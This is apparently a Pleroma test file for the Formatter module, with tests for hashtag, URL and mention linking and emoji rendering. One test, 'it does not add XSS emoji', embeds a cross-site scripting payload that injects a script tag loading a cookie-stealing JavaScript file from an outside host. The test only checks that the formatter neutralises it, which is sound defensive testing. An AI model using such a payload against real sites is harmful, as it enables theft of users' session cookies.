Fork of Pleroma with site-specific changes and feature branches https://git.pleroma.social/pleroma/pleroma
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

296 lines
11KB

  1. # Pleroma: A lightweight social networking server
  2. # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
  3. # SPDX-License-Identifier: AGPL-3.0-only
  4. defmodule Pleroma.FormatterTest do
  5. alias Pleroma.Formatter
  6. alias Pleroma.User
  7. use Pleroma.DataCase
  8. import Pleroma.Factory
  9. setup_all do
  10. Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  11. :ok
  12. end
  13. describe ".add_hashtag_links" do
  14. test "turns hashtags into links" do
  15. text = "I love #cofe and #2hu"
  16. expected_text =
  17. "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  18. assert {^expected_text, [], _tags} = Formatter.linkify(text)
  19. end
  20. test "does not turn html characters to tags" do
  21. text = "#fact_3: pleroma does what mastodon't"
  22. expected_text =
  23. "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
  24. assert {^expected_text, [], _tags} = Formatter.linkify(text)
  25. end
  26. end
  27. describe ".add_links" do
  28. test "turning urls into links" do
  29. text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  30. expected =
  31. "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  32. assert {^expected, [], []} = Formatter.linkify(text)
  33. text = "https://mastodon.social/@lambadalambda"
  34. expected =
  35. "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  36. assert {^expected, [], []} = Formatter.linkify(text)
  37. text = "https://mastodon.social:4000/@lambadalambda"
  38. expected =
  39. "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  40. assert {^expected, [], []} = Formatter.linkify(text)
  41. text = "@lambadalambda"
  42. expected = "@lambadalambda"
  43. assert {^expected, [], []} = Formatter.linkify(text)
  44. text = "http://www.cs.vu.nl/~ast/intel/"
  45. expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  46. assert {^expected, [], []} = Formatter.linkify(text)
  47. text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  48. expected =
  49. "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  50. assert {^expected, [], []} = Formatter.linkify(text)
  51. text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  52. expected =
  53. "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  54. assert {^expected, [], []} = Formatter.linkify(text)
  55. text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  56. expected =
  57. "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  58. assert {^expected, [], []} = Formatter.linkify(text)
  59. text = "https://en.wikipedia.org/wiki/Duff's_device"
  60. expected =
  61. "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
  62. assert {^expected, [], []} = Formatter.linkify(text)
  63. text = "https://pleroma.com https://pleroma.com/sucks"
  64. expected =
  65. "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
  66. assert {^expected, [], []} = Formatter.linkify(text)
  67. text = "xmpp:contact@hacktivis.me"
  68. expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
  69. assert {^expected, [], []} = Formatter.linkify(text)
  70. text =
  71. "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
  72. expected = "<a href=\"#{text}\">#{text}</a>"
  73. assert {^expected, [], []} = Formatter.linkify(text)
  74. end
  75. end
  76. describe "add_user_links" do
  77. test "gives a replacement for user links, using local nicknames in user links text" do
  78. text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
  79. gsimg = insert(:user, %{nickname: "gsimg"})
  80. archaeme =
  81. insert(:user, %{
  82. nickname: "archa_eme_",
  83. info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
  84. })
  85. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  86. {text, mentions, []} = Formatter.linkify(text)
  87. assert length(mentions) == 3
  88. expected_text =
  89. "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
  90. gsimg.ap_id
  91. }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
  92. archaeme.id
  93. }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
  94. archaeme_remote.id
  95. }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
  96. assert expected_text == text
  97. end
  98. test "gives a replacement for user links when the user is using Osada" do
  99. mike = User.get_or_fetch("mike@osada.macgirvin.com")
  100. text = "@mike@osada.macgirvin.com test"
  101. {text, mentions, []} = Formatter.linkify(text)
  102. assert length(mentions) == 1
  103. expected_text =
  104. "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
  105. assert expected_text == text
  106. end
  107. test "gives a replacement for single-character local nicknames" do
  108. text = "@o hi"
  109. o = insert(:user, %{nickname: "o"})
  110. {text, mentions, []} = Formatter.linkify(text)
  111. assert length(mentions) == 1
  112. expected_text =
  113. "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
  114. assert expected_text == text
  115. end
  116. test "does not give a replacement for single-character local nicknames who don't exist" do
  117. text = "@a hi"
  118. expected_text = "@a hi"
  119. assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
  120. end
  121. test "given the 'safe_mention' option, it will only mention people in the beginning" do
  122. user = insert(:user)
  123. _other_user = insert(:user)
  124. third_user = insert(:user)
  125. text = " @#{user.nickname} hey dude i hate @#{third_user.nickname}"
  126. {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
  127. assert mentions == [{"@#{user.nickname}", user}]
  128. assert expected_text ==
  129. "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
  130. user.ap_id
  131. }'>@<span>#{user.nickname}</span></a></span> hey dude i hate <span class='h-card'><a data-user='#{
  132. third_user.id
  133. }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
  134. end
  135. test "given the 'safe_mention' option, it will still work without any mention" do
  136. text = "A post without any mention"
  137. {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
  138. assert mentions == []
  139. assert expected_text == text
  140. end
  141. end
  142. describe ".parse_tags" do
  143. test "parses tags in the text" do
  144. text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
  145. expected_tags = [
  146. {"#Test", "test"},
  147. {"#working", "working"},
  148. {"#は", "は"},
  149. {"#漢字", "漢字"}
  150. ]
  151. assert {_text, [], ^expected_tags} = Formatter.linkify(text)
  152. end
  153. end
  154. test "it can parse mentions and return the relevant users" do
  155. text =
  156. "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
  157. o = insert(:user, %{nickname: "o"})
  158. jimm = insert(:user, %{nickname: "jimm"})
  159. gsimg = insert(:user, %{nickname: "gsimg"})
  160. archaeme = insert(:user, %{nickname: "archaeme"})
  161. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  162. expected_mentions = [
  163. {"@archaeme", archaeme},
  164. {"@archaeme@archae.me", archaeme_remote},
  165. {"@gsimg", gsimg},
  166. {"@jimm", jimm},
  167. {"@o", o}
  168. ]
  169. assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
  170. end
  171. test "it adds cool emoji" do
  172. text = "I love :moominmamma:"
  173. expected_result =
  174. "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
  175. assert Formatter.emojify(text) == expected_result
  176. end
  177. test "it does not add XSS emoji" do
  178. text =
  179. "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  180. custom_emoji = %{
  181. "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
  182. "https://placehold.it/1x1"
  183. }
  184. expected_result =
  185. "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
  186. assert Formatter.emojify(text, custom_emoji) == expected_result
  187. end
  188. test "it returns the emoji used in the text" do
  189. text = "I love :moominmamma:"
  190. assert Formatter.get_emoji(text) == [
  191. {"moominmamma", "/finmoji/128px/moominmamma-128.png", "Finmoji"}
  192. ]
  193. end
  194. test "it returns a nice empty result when no emojis are present" do
  195. text = "I love moominamma"
  196. assert Formatter.get_emoji(text) == []
  197. end
  198. test "it doesn't die when text is absent" do
  199. text = nil
  200. assert Formatter.get_emoji(text) == []
  201. end
  202. test "it escapes HTML in plain text" do
  203. text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
  204. expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
  205. assert Formatter.html_escape(text, "text/plain") == expected
  206. end
  207. end